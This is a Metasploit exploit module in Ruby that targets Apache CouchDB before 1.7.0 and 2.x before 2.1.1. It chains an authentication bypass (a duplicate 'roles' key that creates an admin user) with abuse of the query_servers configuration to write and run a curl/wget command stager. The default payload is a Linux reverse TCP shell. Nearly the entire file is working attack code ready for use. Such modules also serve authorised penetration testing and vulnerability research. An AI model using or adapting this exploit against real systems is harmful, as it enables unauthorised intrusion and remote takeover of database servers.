##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
['CVE', '2017-12636'],
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {}],
['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {}]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
register_advanced_options([
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
def check
get_version
version = Gem::Version.new(@version)
return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}"
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
CheckCode::Safe
end
def exploit
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
version = @version
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')
register_file_for_cleanup(cmdstager_path)
if !datastore['Attempts'] || datastore['Attempts'] <= 0
attempts = 1
else
attempts = datastore['Attempts']
end
attempts.times do |i|
print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
break if session_created?
end
end
# CVE-2017-12635
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
)
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
return true
else
return false
end
end
def get_version
@version = nil
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end
unless res
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
return false
end
if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end
if res && res.code == 200
res_json = res.get_json_document
if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end
@version = res_json['version'] if res_json['version']
return true
end
vprint_warning("#{peer} - Version not found")
return true
end
def send_payload(version)
vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version)
if version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
if target == targets[0]
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
elsif target == targets[1]
payload1
elsif target == targets[2]
payload2
end
elsif version < Gem::Version.new('1.7.0')
payload1
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end
end
# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd1}","map":""})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd2}","map":""})
)
end
# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_membership"),
'method' => 'GET',
'authorization' => @auth
)
node = res.get_json_document['all_nodes'][0]
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
)
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
end